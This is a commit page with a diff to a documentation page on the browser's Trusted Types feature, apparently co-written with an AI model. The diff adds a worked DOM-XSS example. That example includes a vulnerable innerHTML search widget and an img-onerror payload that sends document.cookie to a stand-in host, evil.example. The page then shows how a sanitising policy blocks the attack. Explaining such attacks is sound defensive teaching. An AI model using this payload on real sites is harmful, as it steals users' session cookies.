You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
content(security): make the Trusted Types page show a concrete attack
Rework "Why it matters" around a worked DOM-XSS example: a search
widget that writes location.search into innerHTML, the img-onerror
cookie-exfiltration payload that abuses it, and the TypeError Trusted
Types throws in its place. Add the three trusted types mapped to their
sink families so the breadth beyond innerHTML is explicit. Use a single
consistent policy name ("escape") across every snippet so they all
validate under the page's own CSP, and explain the special auto-applied
"default" name in How to implement.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Copy file name to clipboardExpand all lines: src/content/spec/security/trusted-types.md
+32-5Lines changed: 32 additions & 5 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -28,32 +28,59 @@ sources:
28
28
Trusted Types is a browser mechanism that blocks DOM-based cross-site scripting at the point of injection. DOM XSS happens when an attacker-controlled string reaches a dangerous "sink" — `innerHTML`, `outerHTML`, `document.write()`, `eval()`, or a script element's `src`. Trusted Types makes the browser refuse a plain string at those sinks and demand a non-spoofable typed value (`TrustedHTML`, `TrustedScript`, or `TrustedScriptURL`) produced by a policy you define and control. You enable it with two Content Security Policy directives:
It reached [Baseline](https://web.dev/baseline) in February 2026 — Chrome and Edge have shipped it since 2020, Safari since version 26, and Firefox completed the set.
35
35
36
36
## Why it matters
37
37
38
-
A nonce-based [CSP](/spec/security/content-security-policy/) stops an attacker injecting or running a new external script, but DOM XSS needs no new script element: it abuses code already on the page that writes untrusted input into a sink. Trusted Types closes that gap. With `require-trusted-types-for 'script'` enforced, `element.innerHTML = userInput` throws a `TypeError` unless `userInput` is a `TrustedHTML` value. That turns an entire bug class from "exploitable" into "throws before it executes", and funnels every DOM-injection path through a small, auditable set of policies instead of scattered string concatenation.
38
+
A nonce-based [CSP](/spec/security/content-security-policy/) stops an attacker injecting or running a new external script, but DOM XSS needs no new script element: it abuses code already on the page that writes untrusted input into a sink. Take a search widget that echoes the query from the URL:
39
+
40
+
```js
41
+
// Vulnerable: q comes straight from the address bar
A visitor sent to `?q=<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">` runs the attacker's script in your origin — the `onerror` handler fires the moment the broken image loads, and the session cookie leaves the building. No external script, no CSP `script-src` violation; a nonce never gets a look-in.
47
+
48
+
Trusted Types closes that gap. With `require-trusted-types-for 'script'` enforced, that `innerHTML` assignment throws a `TypeError` before the string ever reaches the parser, because `q` is a plain string and not a `TrustedHTML` value. To make the page work again you must route the value through a policy that sanitises it:
49
+
50
+
```js
51
+
constpolicy=trustedTypes.createPolicy("escape", {
52
+
createHTML: (s) =>DOMPurify.sanitize(s),
53
+
});
54
+
results.innerHTML=policy.createHTML(`<h2>Results for ${q}</h2>`);
55
+
```
56
+
57
+
The `<img onerror>` is now stripped before it lands. The win is structural: the question stops being "did every developer remember to sanitise every sink?" and becomes "does *any* sink receive an unsanitised string?" — and the browser answers that for you, everywhere, by throwing.
58
+
59
+
This covers more than `innerHTML`. The three trusted types guard the three families of script-execution sink:
2.**Create a policy that sanitises** rather than passing input through untouched. A vetted sanitiser such as DOMPurify is the usual choice:
49
76
50
77
```js
51
-
trustedTypes.createPolicy("default", {
78
+
trustedTypes.createPolicy("escape", {
52
79
createHTML: (input) =>DOMPurify.sanitize(input),
53
80
});
54
81
```
55
82
56
-
3.**Name the policies you allow** in the `trusted-types` directive. A policy literally named `default` is applied automatically wherever a sink expects a trusted value.
83
+
3.**Name the policies you allow** in the `trusted-types` directive — here, `escape`. One name is special: a policy called `default` is applied automatically wherever a sink expects a trusted value, which lets you retrofit a large codebase without editing every call site.
57
84
4.**Switch to enforcing** (`Content-Security-Policy`) once the report stream is clean.
0 commit comments